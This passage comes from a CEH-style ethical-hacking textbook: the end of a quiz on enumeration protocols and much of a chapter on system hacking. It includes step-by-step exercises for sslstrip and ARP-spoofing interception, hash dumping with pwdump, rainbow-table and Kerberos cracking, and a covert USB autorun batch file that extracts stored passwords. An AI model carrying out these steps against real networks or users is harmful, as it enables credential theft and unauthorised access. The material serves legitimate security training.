A. 53 TCP
B. 53 UDP
C. 25 TCP
D. 25 UDP
12. Which command can be used to view NetBIOS information?
A. netstat
B. nmap
C. nbtstat
D. telnet
13. SNScan is used to access information for which protocol?
A. SMTP
B. FTP
C. SMNP
D. HTTP
14. SMTP is used to perform which function?
A. Monitor network equipment
B. Transmit status information
C. Send email messages
D. Transfer files
15. Which ports does SNMP use to function?
A. 160 and 161
B. 160 and 162
C. 389 and 160
D. 161 and 162
16. LDAP is used to perform which function?
A. Query a network
B. Query a database
C. Query a directory
D. Query a file system
17. SNMP is used to do which of the following?
A. Transfer files
B. Synchronize clocks
C. Monitor network devices
D. Retrieve mail from a server
18. SNMP is used to perform which function in relation to hardware?
A. Trap messages
B. Monitor and manage traffic
C. Manage users and groups
D. Monitor security and violations
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19. What is an SID used to do?
A. Identify permissions
B. Identify a domain controller
C. Identify a user
D. Identify a mail account
20. A DNS zone transfer is used to do which of the following?
A. Copy files
B. Perform searches
C. Synchronize server information
D. Decommission servers
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Chapter 7
System Hacking
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
O. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating Environments
Q. Log Analysis Tools
S. Exploitation Tools
Using the information gathered so far, you can now transition into
the next phase: gaining access to a system. All the information you’ve gathered up to this
point has been focused toward this goal. In this chapter, you will see how you can use
information from previous interactions to “kick down the door” of a system and carry out
your goal.
After the previous phases, you can now start your attack on the system. If you look at the
information you obtained in past phases, such as usernames, groups, passwords,
permissions, and other system details, you can see that you have a reasonably accurate
picture of the target. The more information you gather, the better, and the easier it is for
you to locate the points that are vulnerable to attack.
Always remember as a pentester to keep good notes about your activities
and the information you gather. This is important for numerous reasons: You will
want to present the information to your client, keep it among your legal records, and,
in this chapter, use it to help you put together the best possible attack.
Up to This Point
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Let’s take a brief look back at the previous phases to see what types of information you
have and how it carries forward to this point.
Footprinting
Footprinting is the first step in this process and simply involves gathering as much
information as you possibly can about a target. You are looking for information pertaining
to the whole organization, including technology, people, policies, facilities, network
information, and anything else that may seem useful. Footprinting helps you understand
the organization, create a profile that you can use for later stages of your attack, and plan
an offensive strategy.
Information you gather during this phase may include the following:
Namespaces
Employee information
Phone numbers
Facility information
Job information
Footprinting shows you the amount of information that is left lying on the table by most
organizations. During your exploration, you learned that you can acquire a significant
amount of data from myriad sources, both common and uncommon.
Scanning
When you moved on from footprinting, you transitioned into the scanning phase.
Scanning is focused on gathering information from a network with the intention of
locating active hosts. You identify hosts for the purpose of attack and in order to make
security assessments as needed. You can find information about target systems over the
Internet by using public IP addresses. In addition to addresses, you also try to gather
information about services running on each host.
During this phase, you use techniques such as these:
Pings
Ping sweeps
Port scans
Tracert
Some of the processes you use unmask or uncover varying levels of detail about services.
You can also use inverse-scanning techniques that allow you to determine which IP
addresses from the ranges you uncovered during footprinting do not have a
corresponding live host behind them.
Enumeration
The last phase before you attempt to gain access to a system is enumeration.
Enumeration, as you have observed, is the systematic probing of a target with the goal of
obtaining information such as user lists, routing tables, and protocols from the system.
Information about shares, users, groups, applications, protocols, and banners can prove
useful in getting to know your target. This phase represents a significant shift in the
process: It is your first step from being on the outside looking in to being on the inside of
the system and gathering data. This information is now carried forward into the attack
phase.
The attacker seeks to locate items such as user and group data that let them remain under
the radar longer. Enumeration involves making many more active connections with the
system than during previous phases; once you reach this phase, the possibility of
detection is much higher, because many systems are configured to log all attempts to gain
information. Some of the data you locate may already have been made public by the
target, but you may also uncover hidden share information, among other items.
The information gathered during this phase typically includes, but is not limited to, the
following:
Usernames
Group information
Passwords
Hidden shares
Device information
Network layout
Protocol information
Server data
Service information
System Hacking
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Once you have completed the first three phases, you can move into the system-hacking
phase. At this point, the process becomes much more complex: You can’t complete the
system-hacking phase in a single pass. It involves using a methodical approach that
includes cracking passwords, escalating privileges, executing applications, hiding files,
covering tracks, concealing evidence, and then pushing into a more involved attack.
Remember that the system-hacking process typically does not involve you
gaining access in one stroke. In fact, gaining access to a system is kind of like
tunneling under a wall; the process is gradual and can be time consuming depending
on how deep and elaborate you want to be, but it will eventually yield results.
You will find that you will gain access to greater and greater degrees until you
eventually have the level of access that you need to accomplish the tasks that you
have in mind.
Let’s look at the system-hacking process, starting with one of the better-known steps,
password cracking.
Password Cracking
In the enumeration phase, you collected a wealth of information, including usernames.
These usernames are important now because they give you something on which to focus
your attack more closely. You use password cracking to obtain the credentials of a given
account with the intention of using the account to gain authorized access to the system
under the guise of a legitimate user.
In a nutshell, password cracking is the process of recovering passwords
from transmitted or stored data. In this way, an attacker may seek to recover and use
a misplaced or forgotten password. System administrators may use password
cracking to audit and test a system for holes in order to strengthen the system, and
attackers may use password cracking to attempt further mischief.
Typically, the hacking process starts with assaults against passwords. Passwords may
be cracked or audited using manual or automated techniques designed to reveal
credentials.
To fully grasp why password cracking is a popular first step in gaining access, let’s first
look at the function of a password. A password is designed to be something an individual
can remember easily but at the same time not something that can be easily guessed or
broken. This is where the problem lies: Human beings tend to choose passwords that are
easy to remember, which can make them easy to guess. Although choosing passwords
that are easier to remember is not a bad thing, it can be a liability if individuals choose
passwords that are too simple to guess.
Here are some examples of passwords that lend themselves to cracking:
Passwords that use only numbers
Passwords that use only letters
Passwords that are all upper- or lowercase
Passwords that use proper names
Passwords that use dictionary words
Short passwords (fewer than eight characters)
In general, following the rules for creating a strong password is a good line of defense
against the attacks we will explore. Many companies already employ these rules in the
form of password requirements or complexity requirements, but let’s examine them in
the interest of being complete.
Typically, when a company is writing policy or performing training, they will have a
document, guidance, or statement that says to avoid the following:
Passwords that contain only letters, special characters, and numbers: stud@52
Passwords that contain only numbers: 23698217
Passwords that contain only special characters: &*#@!(%)
Passwords that contain only letters and numbers: meetl23
Passwords that contain only letters: POTHMYDE
Passwords that contain only letters and special characters: rex@&ba
Passwords that contain only special characters and numbers: 123@$4
Users who select passwords that contain patterns that adhere to any of the points on this
list are more vulnerable to most of the attacks we will discuss for recovering passwords.
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Remember that just because a password avoids the conventions discussed
here does not mean it is bulletproof with regard to attacks. Adherence to these
guidelines makes it less vulnerable but not impervious. One of the points you will
learn both as an attacker and as a defender is that there is no 100 percent perfect
solution to security, only ways to reduce your vulnerability.
Passwords are quickly losing their effectiveness as a security measure on their own.
In fact, in increasing numbers companies are moving to or are evaluating systems
that use multifactor authentication. In these systems passwords are supplemented
with smart cards, biometrics, RSA tokens, or other mechanisms, making the
authentication process stronger.
Password-Cracking Techniques
Popular culture would have us believe that cracking a password is as simple as running
some software and tapping a few buttons. The reality is that special techniques are
needed to recover passwords. For the most part, we can break these techniques into
categories, which we will explore in depth later in this chapter, but let’s take a high-level
look at them now:
Dictionary Attacks An attack of this type takes the form of a password-cracking
application that has a dictionary file loaded into it. The dictionary file is a text file that
contains a list of known words up to and including the entire dictionary. The application
uses this list to test different words in an attempt to recover the password. Systems that
use passphrases typically are not vulnerable to this type of attack.
Brute-Force Attacks In this type of attack, every possible combination of characters is
attempted until the correct one is uncovered. According to RSA Labs, “Exhaustive keysearch, or brute-force search, is the basic technique for trying every possible key in turn
until the correct key is identified.”
Hybrid Attack This form of password attack builds on the dictionary attack but with
additional steps as part of the process. In most cases, this means passwords that are tried
during a dictionary attack are modified with the addition and substitution of special
characters and numbers, such as P@ssw0rd instead of Password.
Syllable Attack This type of attack is a combination of a brute-force attack and a
dictionary attack. It is useful when the password a user has chosen is not a standard word
or phrase.
Rule-Based Attack This could be considered an advanced attack. It assumes that the
user has created a password using information the attacker has some knowledge of ahead
of time, such as phrases and digits the user may have a tendency to use.
Passive Online Attacks Attacks in this category are carried out simply by sitting back
and listening—in this case, via technology, in the form of sniffing tools such as
Wireshark, man-in-the-middle attacks, or replay attacks.
Active Online Attacks The attacks in this category are more aggressive than passive
attacks because the process requires deeper engagement with the targets. Attackers using
this approach are targeting a victim with the intention of breaking a password. In cases of
weak or poor passwords, active attacks are very effective. Forms of this attack include
password guessing, Trojan/spyware/key loggers, hash injection, and phishing.
Offline Attacks This type of attack is designed to prey on the weaknesses not of
passwords but of the way they are stored. Because passwords must be stored in some
format, an attacker seeks to obtain them where they are stored by exploiting poor security
or weaknesses inherent in a system. If these credentials happen to be stored in a plaintext
or unencrypted format, the attacker will go after this file and gain the credentials. Forms
of this attack include precomputed hashes, distributed network attacks, and rainbow
attacks.
Nontechnical Attacks Also known as non-electronic attacks, these move the process
offline into the real world. A characteristic of this attack is that it does not require any
technical knowledge and instead relies on theft, deception, and other means. Forms of
this attack include shoulder surfing, social engineering, and dumpster diving.
Let’s look at each of these forms and its accompanying attacks so you can better
understand them.
Passive Online Attacks
Much like other cases where we examined and used passive measures, passive online
attacks are used to obtain passwords without directly engaging a target. These types of
attacks are effective at being stealthy because they attempt to collect passwords without
revealing too much about the collecting system. This type of attack relies less on the way
a password is constructed and more on how it is stored and transported. Any issues with
these areas may be just enough to open the door to gain these valuable credentials.
Packet Sniffing
The technique of sniffing has already made an appearance in this book, so let’s start to
put the technique to use to gain password information.
A sniffer, or packet analyzer, as it also called, is a mechanism (typically software)
designed to capture packets as they flow across the network. In practice, a sniffer is used
to gather information for network diagnostics and troubleshooting, but sniffers don’t care
what type of information is flowing across the network, only if they can see it. While you
can configure sniffers to filter data, this means you can view only certain information and
not that the sniffer isn’t seeing it.
By default, a sniffer will only be able to capture information within a single collision
domain and not in other domains without performing additional measures such as ARP
spoofing (which you will learn about later). This means that if there’s a switch or other
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type of device between you and the target you want to get a password from, you won’t see
it without broadcasting your presence.
It is possible to sniff outside a given common collision domain, even if a
switch is in the way, if you use an approach that is designed to attack and overcome
the switch or bridge. However, such methods are aggressive and active and therefore
generate a lot of traffic that makes detection that much easier for the defender.
Generally, a sniffing attack is most effective if it is performed on a network that employs
a hub between the attacker and victim, or if the two parties are on the same segment of
the collision domain. Many of the tools you will encounter or use will be most effective in
the context of a network that employs a hub. However, one thing that should be
mentioned is that hubs are rarely seen on networks today because of their security risks.
So what types of protocols would be most prone to being revealed through sniffing?
Basically, anything that uses clear text to transmit credentials is going to be vulnerable,
which in practice means Telnet, FTP, SMTP, rlogin, SNMPv1, and similar protocols. If a
password is sent in an encrypted format, it doesn’t mean you won’t be able to intercept
the password, just that you won’t be able to read it.
When you sniff for passwords, typically you are on the lookout for
passwords from Telnet, FTP, SMTP, rlogin, and other vulnerable protocols. Once
you’ve gathered the credentials, you can use them to gain access to systems or
services.
Man-in-the-Middle
During this type of attack, two parties are communicating with one another and a third
party inserts itself into the conversation and attempts to alter or eavesdrop on the
communications. In order to be fully successful, the attacker must be able to sniff traffic
from both parties at the same time.
There are many utilities available to perform man-in-the-middle (MitM) attacks,
including these:
SSL Strip
Burp Suite
Browser Exploitation Framework (BeEF)
Man-in-the-middle attacks commonly target vulnerable protocols and wireless
technologies. Protocols such as Telnet and FTP are particularly vulnerable to this type of
attack. However, such attacks are tricky to carry out and can result in invalidated traffic.
Exercise 7.1 shows an example of a man-in-the-middle attack using SSL Strip.
EXERCISE 7.1
Using SSL Strip
In this exercise you will use the utility sslstrip on Kali Linux to intercept
communications meant for an SSL-encrypted site. Once you’ve completed it, you
should have a log file containing information captured during the session.
While you can perform this exercise on any Linux box, it will require you to
download software. If you use Kali Linux 2.0, all tools should be present.
From a command prompt, do the following:
1. Configure Kali to forward incoming packets that were not intended for it or
addressed to it by using the following command:
echo '1 ' > /proc/sys/net/ipv4/ip_forward
2. Learn the network gateway by entering:
Netstat –nr
3. On the list of returned results, note the gateway listed.
4. Use the arpspoof command to redirect traffic intended for other hosts on the
network to your host. Use the following command:
arpspoof -i eth0 192.168.1.1
In this example, eth0 is assumed to be connected to your network. Replace this
name with what is appropriate for your system. You can use ifconfig to
determine the active adapter. For the IP address I used 192.168.1.1; just replace
this with the gateway address you learned from the previous step.
At this point you are running the foundation for a man-in-the-middle attack; now
is the time to bring in sslstrip.
5. Set up a firewall rule on the system to redirect traffic from port 80 to 8080. Use
the following command, which uses iptables to create firewall rules:
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –
to-port 8080
6. Now comes the part where you run sslstrip. You can do this by telling sslstrip
to listen on port 8080:
sslstrip -l 8080
7. Open a browser and go to any site that uses SSL, such as Gmail or similar sites
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(just look for the https://). Note that your browser will show http instead of
https as it would normally for an HTTPS address. This is because sslstrip is
intercepting HTTPS requests and using HTTP instead before sending the traffic
on to the intended recipient.
8. To stop the attack, hit Ctrl+C.
9. In Linux, browse to the SSL Strip folder and open the sslstrip.log file, and you
will see the information that was gathered while sslstrip was running.
Replay Attack
In a replay attack, packets are captured using a packet sniffer. After the relevant
information is captured and extracted, the packets can be placed back on the network. The
intention is to inject the captured information—such as a password—back onto the
network and direct it toward a resource such as a server, with the goal of gaining access.
Once the packets are replayed, the valid credentials provide access to a system, potentially
giving an attacker the ability to change information or obtain confidential data.
Active Online Attacks
The next attack type is the active online attack. These attacks use a more aggressive form
of penetration that is designed to recover passwords.
Password Guessing
Password guessing is a very crude but effective type of attack. An attacker seeks to recover
a password by using words from the dictionary or by brute force. This process is usually
carried out using a software application designed to attempt hundreds or thousands of
words each second. The application tries all variations, including case changes,
substitutions, digit replacement, and reverse case. Of course, one item to note is that
many systems employ account lockout, which locks the account when too many failed
attempts occur.
To refine this approach, an attacker may look for information about a victim, with the
intention of discovering favorite pastimes or family names.
Password complexity goes a long way toward thwarting many of these
types of attacks, because it makes the process of discovering a password slower and
much more difficult.
Trojans, Spyware, and Keyloggers
Malware is discussed in depth elsewhere in this book, but here we should mention its
potential role during an attack. Malware such as Trojans, spyware, and keyloggers can
prove very useful during an attack by allowing the attacker to gather information of all
types, including passwords.
One form is keyboard sniffing or keylogging, which intercepts a password as the user
enters it. This attack can be carried out when users are the victims of keylogging software
or if they regularly log on to systems remotely without using protection.
Hash Injection
This type of attack relies on the knowledge of hashing that you acquired during our
investigation of cryptography and a few tricks. The attack consists of the following four
steps:
1. Compromise a vulnerable workstation or desktop.
2. When connected, attempt to extract the hashes from the system for high-value users,
such as domain or enterprise admins.
3. Use the extracted hash to log on to a server such as a domain controller.
4. If the system serves as a domain controller or similar, attempt to extract hashes from
the system with the intention of exploiting other accounts.
Password Hashing
Passwords are not stored in clear text on a system in most cases because of their
extremely sensitive nature. Because storing passwords in the clear is considered
risky, you can use security measures such as password hashes.
As you learned in Chapter 3, “Cryptography,” hashing is a form of one-way
encryption that is used to verify integrity. Passwords are commonly stored in a
hashed format so the password is not in clear text. When a password provided by the
user needs to be verified, it is hashed on the client side and then transmitted to the
server, where the stored hash and the transmitted hash are compared. If they match,
the user is authenticated; if not, the user is not authenticated.
Offline Attacks
Offline attacks represent yet another form of attack that is very effective and difficult to
detect in many cases. Such attacks rely on the attacking party being able to learn how
passwords are stored and then using this information to carry out an attack. Exercise 7.2
demonstrates a password attack that extracts hashes.
EXERCISE 7.2
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Extracting Hashes from a System
Now that you have seen how hashes can be extracted, let’s use pwdump to perform this
process:
1. Open the command prompt.
2. Type pwdump7.exe to display the hashes on a system.
3. Type pwdump7 > C:\hash.txt.
4. Press Enter.
5. Using Notepad, browse to the C: drive and open the hash.txt file to view the
hashes.
Precomputed Hashes or Rainbow Tables
Precomputed hashes are used in an attack type known as a rainbow table. Rainbow tables
compute every possible combination of characters prior to capturing a password. Once all
the passwords have been generated, the attacker can capture the password hash from the
network and compare it with the hashes that have already been generated.
With all the hashes generated ahead of time, it becomes a simple matter to compare the
captured hash to the ones generated, typically revealing the password in a few moments.
Of course, there’s no getting something for nothing, and rainbow tables are no exception.
The downside of rainbow tables is that they take time. It takes a substantial period,
sometimes days, to compute all the hash combinations ahead of time. Another downside
is that you can’t crack passwords of unlimited length, because generating passwords of
greater length takes more time.
Generating Rainbow Tables
You can generate rainbow tables many ways. One of the utilities you can use to perform
this task is winrtgen, a GUI-based generator. Supported hashing formats in this utility
include all of the following:
Cisco PIX
FastLM
HalfLMChall
LM
LMCHALL
MD2
MD4
MD5
MSCACHE
MySQL323
MySQLSHAl
NTLM
NTLMCHALL
ORACLE
RIPEMD-160
SHA1
SHA-2 (256), SHA-2 (384), SHA-2 (512)
Exercise 7.3 demonstrates how to create a rainbow table for password hacking.
EXERCISE 7.3
Creating Rainbow Tables
Let’s create a rainbow table to see what the process entails. Keep in mind that this
process can take a while once started.
To perform this exercise, you will need to download the winrtgen application. To use
winrtgen, follow these steps:
1. Start the winrtgen.exe tool.
2. Once winrtgen starts, click the Add Table button.
3. In the Rainbow Table Properties window, do the following:
a. Select NTLM from the Hash drop-down list.
b. Set Minimum Length to 4 and Maximum Length to 9, with a Chain Count of
4000000.
c. Select Loweralpha from the Charset drop-down list.
4. Click OK to create the rainbow table.
Note that the creation of the rainbow table file will take a significant amount of time,
depending on the speed of your computer and the settings you choose.
Exercise 7.2 and Exercise 7.3 perform two vital steps of the process: Exercise 7.2 extracts
hashes of passwords from a targeted system, and Exercise 7.3 creates a rainbow table of
potential matches (hopefully there is a match, if you used the right settings). Now that
you have performed these two steps, you must recover the password, by working through
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Exercise 7.4.
EXERCISE 7.4
Working with RainbowCrack
Once you have created the rainbow table, you can use it to recover a password using
the information from pwdump and winrtgen.
1. Double-click rcrack_gui.exe.
2. Click File, and then click Add Hash. The Add Hash window opens.
3. If you performed the pwdump hands on, you can now open the text file it created
and copy and paste the hashes.
4. Click OK.
5. Click Rainbow Table from the menu bar, and click Search Rainbow Table. If you
performed the winrtgen hands on, you can use that rainbow table here.
6. Click Open.
Rainbow tables are an effective method of revealing passwords, but the effectiveness of
the method can be diminished through salting. Salting is used in Linux, Unix, and BSD,
but it is not used in some of the older Windows authentication mechanisms such as LM
and NTLM.
Salting a hash is a means of adding entropy or randomness in order to make sequences or
patterns more difficult to detect. Rainbow tables perform a form of cryptanalysis. Salting
tries to thwart this analysis by adding randomness (sometimes known as inducing
entropy). Although you still may be able to break the system, it will be tougher to do.
Distributed Network Attacks
One of the modern approaches to cracking passwords is a Distributed Network Attack
(DNA). It takes advantage of unused processing power from multiple computers in an
attempt to perform an action, in this case, cracking a password.
To make this attack work, you install a manager on a chosen system, which is used to
manage multiple clients. The manager is responsible for dividing and assigning work to
the various systems involved in processing the data. On the client side, the software
receives the assigned work unit, processes it, and returns the results to the manager.
The benefit of this type of attack is the raw computing power available. This attack
combines small amounts of computing power from individual systems into a vast amount
of computing power. Each computer’s processing power is akin to a single drop of water:
individually they are small, but together they become much more. Drops form larger
bodies of water, and small pieces of processing power come together to form a huge pool
of processing power.
Seeking Out New Life
One of the first well-known implementations of distributed computing is the
SETI@home project. The Search for Extraterrestrial Intelligence (SETI) is a project
that analyzes signals received from space to look for signs of life off Earth. The
following is a description of the project from the SETI@home site:
Most of the SETI programs in existence today, including those at UC Berkeley, build
large computers that analyze data in real time. None of these computers look very
deeply at the data for weak signals, nor do they look for a large class of signal types,
because they are limited by the amount of computer power available for data
analysis. To tease out the weakest signals, a great amount of computer power is
necessary. It would take a monstrous supercomputer to get the job done. SETI could
never afford to build or buy that computing power. Rather than use a huge computer
to do the job, they could use a smaller computer and take longer to do it. But then
there would be lots of data piling up. What if they used lots of small computers, all
working simultaneously on different parts of the analysis? Where can the SETI team
possibly find the thousands of computers they need to analyze the data continuously
streaming in?
The UC Berkeley SETI team has discovered thousands of computers that may be
available for use. Most of them sit around most of the time with toasters flying
across their screens, accomplishing absolutely nothing and wasting electricity to
boot. This is where SETI@home (and you!) come into the picture. The SETI@home
project hopes to convince you to let them borrow your computer when you aren’t
using it, to help them “search out new life and new civilizations.” You do this by
installing a screen saver that gets a chunk of data from SETI over the Internet,
analyzes that data, and then reports the results. When you need your computer, the
screen saver instantly gets out of the way and only continues its analysis when you
are finished with your work.
Other Options for Obtaining Passwords
There are still other ways to obtain passwords.
Default Passwords
One of the biggest potential vulnerabilities is also one of the easiest to resolve: default
passwords. Default passwords are set by the manufacturer when the device or system is
built. They are documented and provided to the final consumer of the product and are
intended to be changed. However, not all users or businesses get around to taking this
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step, and hence they leave themselves vulnerable. The reality is that with a bit of scanning
and investigation, an attacking party can make some educated guesses about what
equipment or systems you may be running. If they can determine that you have not
changed the defaults, they can look up your default password at any of the following sites:
http://cirt.net
http://default-password.info
www.defaultpassword.us
www.passwordsdatabase.com
https://w3dt.net
www.virus.org
http://open-sez.me
http://securityoverride.org
www.routerpasswords.com
www.fortypoundhead.com
Guessing
Although it is decidedly old school, guessing passwords manually can potentially yield
results, especially in environments where good password practices are not followed.
Simply put, an attacker may target a system by doing the following:
1. Locate a valid user.
2. Determine a list of potential passwords.
3. Rank possible passwords from least to most likely.
4. Try passwords until access is gained or the options are exhausted.
This process can be automated through the use of scripts created by the attacker, but it
still qualifies as a manual attack.
USB Password Theft
In contrast to manual methods, there are some automated mechanisms for obtaining
passwords, such as via USB drives. This method entails embedding a password-stealing
application on a USB drive and then physically plugging the drive into a target system.
Because many users store their passwords for applications and online sites on their local
machine, the passwords may be easily extracted (see Exercise 7.5).
EXERCISE 7.5
PSPV
In order to carry out this attack you can use the following generic steps:
1. Obtain a password-hacking utility such as pspv.exe.
2. Copy the utility to a USB drive.
3. Create a Notepad file called launch.bat containing the following lines:
[autorun]
en = launch.bat
Start pspv.exe /s passwords.txt
4. Save launch.bat to the USB drive.
At this point, you can insert the USB drive into a target computer. When you do, pspv
.exe will run, extract passwords, and place them in the passwords.txt file, which you
can open in Notepad.
It is worth noting that this attack can be thwarted quite easily by disabling autoplay of
USB devices, which is on by default in Windows.
The pspv.exe tool is a protected-storage password viewer that displays
stored passwords on a Windows system if they are contained in Internet Explorer
and other applications.
As far as USB attacks are concerned, there are many other ways to steal passwords and
other valuable data via this mechanism. One of the newer methods is using something
known as the USB Rubber Ducky by Hak5. This device looks like a regular USB flash drive
but in actuality is much more than that. Inside the device are a MicroSD slot and a
processor to make the device perform its magic. Essentially, this magic is that the device
not only can run scripts on the system it is plugged into but also has the ability to
masquerade as something other than a flash drive, in this case a human interface device
(HID) such as a keyboard. The value of this last point is not to be underestimated because
many systems can be configured to block USB devices. They are not configured to block
HID hardware because it would mean things such as keyboards might not work either.
Using Password Cracking
Using any of the methods discussed here with any type of password-cracking software
may sound easy, but there is one item to consider: which password to crack? Going back
to the enumeration phase, we discussed that usernames can be extracted from the system
using a number of software packages or methods. Using these software tools, the attacker
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can uncover usernames and then target a specific account with their password-cracking
tool of choice.
So, which password to crack? Accounts such as the administrator account are targets of
opportunity, but so are lower-level accounts such as guest that may not be as heavily
defended or even considered during security planning.
Next, we need to talk about authentication.
Authentication on Microsoft Platforms
Now that you know the different mechanisms through which you can obtain credentials,
as well as how you can target them, let’s look at some authentication mechanisms. We
will focus on mechanisms on the Microsoft platform: SAM, NTLM, LM, and Kerberos.
Security Accounts Manager
Inside the Windows operating system is a database that stores security principals
(accounts or any entity that can be authenticated). In the Microsoft world, these
principals can be stored locally in a database known as the Security Accounts Manager
(SAM). Credentials, passwords, and other account information are stored in this database;
the passwords are stored in a hashed format. When the system is running, Windows
keeps a file lock on the SAM to prevent it from being accessed by other applications or
processes.
The system will only give up exclusive access of the SAM when powered
off or when the system has a Blue Screen of Death failure.
In order to improve security, Microsoft added some features designed to preserve the
integrity of the information stored in the database. For example, a feature known as
SYSKEY was added starting in Windows NT 4.0 to improve the existing security of the
SAM. SYSKEY is nothing more than a fancy name for a utility that is used to partially
encrypt the SAM and protect the information stored within. By default, this feature is
enabled on all systems later than NT 4.0; although it can be disabled, it is strongly
recommended that you do not do so. With SYSKEY in place, credentials are safe against
many offline attacks.
How Passwords Are Stored within the SAM
In Windows XP and later platforms, passwords are stored in a hashed format using the
LM/NTLM hashing mechanisms. The hashes are stored in
c:\windows\system32\config\SAM.
An account in the SAM looks like this:
Link:1010:624AAC413795CDC14E835F1CD90F4C76:6F585FF8FF6280B59CCE252FDB500EB8:::
The bold part before the colon is the LM hash, and the bold part after the colon represents
the NTLM hash—both for a given password on a standard user account. Password
crackers such as Ophcrack and L0phtCrack display and attempt to decipher these hashes,
as do applications such as pwdump.
Versions of Windows after XP no longer store the LM hash by default.
They store a blank or a dummy value that has no direct correlation to any user’s
actual password, so extracting this value and using a brute-force attack to decipher it
is pointless. This dummy value is also used when the password exceeds 14
characters, which is longer than the LM hash mechanism can support.
In Windows, as in other systems, password hashing may be strengthened by using salting.
This technique is designed to add an additional layer of randomness to a hash during the
generation process. With salt added to a hash offline and precomputed, attacks become
much more difficult to execute successfully.
NTLM Authentication
NT LAN Manager (NTLM) is a protocol exclusive (proprietary) to Microsoft products.
NTLM versions 1 and 2 are still very widely used in environments and applications where
other protocols such as Kerberos are not available, but Microsoft recommends that it be
avoided or phased out.
NTLM comes in two versions: NTLMv1 and NTLMv2. NTLMv1 has been in use for many
years and still has some support in newer products, but it has largely been replaced in
applications and environments with at least NTLMv2 if not other mechanisms. NTLMv2
is an improved version of the NTLM protocol. It boasts better security than version 1, but
it is still seen as relatively insecure and as such should be avoided as well.
You may hear of another mechanism layered on top of NTLM known as
Security Support Provider (SSP). This protocol is combined with NTLM to provide an
additional layer of protection on top of the existing authentication process.
Overall, the process of authentication with the NTLM protocol uses the following steps:
1. The client enters their username and password into the login prompt or dialog.
2. Windows runs the password through a hashing algorithm to generate a hash for the
specific password.
3. The client transmits the username and hash to a domain controller.
4. The domain controller generates a 16-byte random character string known as a nonce
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and transmits it back to the client.
5. The client encrypts the nonce with the hash of the user password and sends it back to
the domain controller.
6. The domain controller retrieves the hash from its SAM and uses it to encrypt the
nonce it sent to the client.
At this point, if the hashes match, the login request is accepted. If not, the request is
denied.
Kerberos
On the Microsoft platform, version 5 of the Kerberos authentication protocol has been in
use since Windows 2000. The protocol offers a robust authentication framework through
the use of strong cryptographic mechanisms such as symmetric key cryptography. It
provides mutual authentication of client and server.
The Kerberos protocol makes use of the following groups of components:
Key distribution center (KDC)
Authentication server (AS)
Ticket-granting server (TGS)
The process of using Kerberos works much like the following:
1. You want to access another system, such as a server or client. Because Kerberos is in
use in this environment, a ticket is required.
2. To obtain this ticket, you are first authenticated against the AS, which creates a
session key based on your password together with a value that represents the service
you wish to connect to. This request serves as your ticket-granting ticket (TGT).
3. Your TGT is presented to a TGS, which generates a ticket that allows you to access the
service.
4. Based on the situation, the service either accepts or rejects the ticket. In this case,
assume that you are authorized and gain access.
The TGT is valid for only a finite period before it has to be regenerated. This acts as a
safeguard against it being compromised. Exercise 7.6 shows how to crack Kerberos.
EXERCISE 7.6
Cracking Kerberos
In this exercise we will take a look at how to break a password captured from
Kerberos. To perform this exercise, you must download the utility Cain from oxid.it:
1. In the Cain software start the sniffer by clicking the sniffer icon on the toolbar.
2. When prompted, choose the interface to sniff on.
3. Select the Sniffer tab.
4. Click the blue + sign.
5. When presented with the dialog, click OK.
6. In the dialog that appears, enter the addresses of two hosts to be ARP poisoned,
which means you are putting information into the ARP tables of the targeted
systems. Choose two hosts other than the one you are running the attack from.
7. Click OK.
8. On the toolbar select the ARP poisoning icon and note that the status will change
to state “poisoning.”
9. After a minute or two, click the Sniffer tab.
10. Click the Passwords tab.
11. Select MSKerb5-PreAuth Hashes.
12. Right-click and select Send To Cracker.
13. Click the Cracker tab.
14. Select Kerb5 PreAuth Hashes.
15. Right-click a password and select a crack.
At this point, if everything has gone well you should be able to crack a Kerberos
password. It is important to note that you may have to wait a while on networks that
are not that active to actually collect a set of credentials.
Privilege Escalation
When you obtain a password and gain access to an account, there is still more work to do:
privilege escalation. The reality is that the account you’re compromising may end up
being a lower-privileged and less-defended one. If this is the case, you must perform
privilege escalation prior to carrying out the next phase. The goal should be to gain a level
where fewer restrictions exist on the account and you have greater access to the system.
Every operating system ships with a number of user accounts and groups already present.
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In Windows, preconfigured users include the administrator and guest accounts. Because
it is easy for an attacker to find information about the accounts that are included with an
operating system, you should take care to ensure that such accounts are secured properly,
even if they will never be used. An attacker who knows that these accounts exist on a
system is more than likely to try to obtain their passwords.
There are two defined types of privilege escalation; each approaches the problem of
obtaining greater privileges from a different angle:
Horizontal Privilege Escalation An attacker attempts to take over the rights and
privileges of another user who has the same privileges as the current account.
Vertical Privilege Escalation The attacker gains access to an account and then tries to
elevate the privileges of the account. It is also possible to carry out a vertical escalation by
compromising an account and then trying to gain access to a higher-privileged account.
One way to escalate privileges is to identify an account that has the desired access and
then change the password. Several tools that offer this ability including the following:
Active@ Password Changer
Trinity Rescue Kit
ERD Commander
Windows Recovery Environment (WinRE)
Password Resetter
Let’s look at one of these applications a little closer: Trinity Rescue Kit (TRK). According
to the developers of TRK,
Trinity Rescue Kit (TRK) is a Linux distribution that is specifically designed to be run
from a CD or flash drive. TRK was designed to recover and repair both Windows and
Linux systems that were otherwise unbootable or unrecoverable. While TRK was
designed for benevolent purposes, it can easily be used to escalate privileges by resetting
passwords of accounts that you would not otherwise have access to. TRK can be used to
change a password by booting the target system off of a CD or flash drive and entering the
TRK environment. Once in the environment, a simple sequence of commands can be
executed to reset the password of an account.
The following steps change the password of the administrator account on a Windows
system using the TRK:
1. At the command line, enter the following command: winpass -u Administrator.
2. The winpass command displays a message similar to the following:
Searching and mounting all file system on local machine
Windows NT/2K/XP installation(s) found in:
1: /hda1/Windows
Make your choice or &#712;q&#712; to quit [1]:
3. Type 1, or the number of the location of the Windows folder if more than one install
exists.
4. Press Enter.
5. Enter the new password, or accept TRK’s suggestion to set the password to a blank.
6. You see this message: “Do you really wish to change it?” Enter Y, and press Enter.
7. Type init 0 to shut down the TRK Linux system.
8. Reboot.
Executing Applications
Once you gain access to a system and obtain sufficient privileges, it’s time to compromise
the system and carry out the attack. Which applications are executed at this point is up to
the attacker, but they can be either custom-built applications or off-the-shelf software.
In some circles, once an attacker has gained access to a system and is
executing applications on it, they are said to own the system.
An attacker executes different applications on a system with specific goals in mind:
Backdoors Applications of this type are designed to compromise the system in such a
way as to allow later access to take place. An attacker can use these backdoors later to
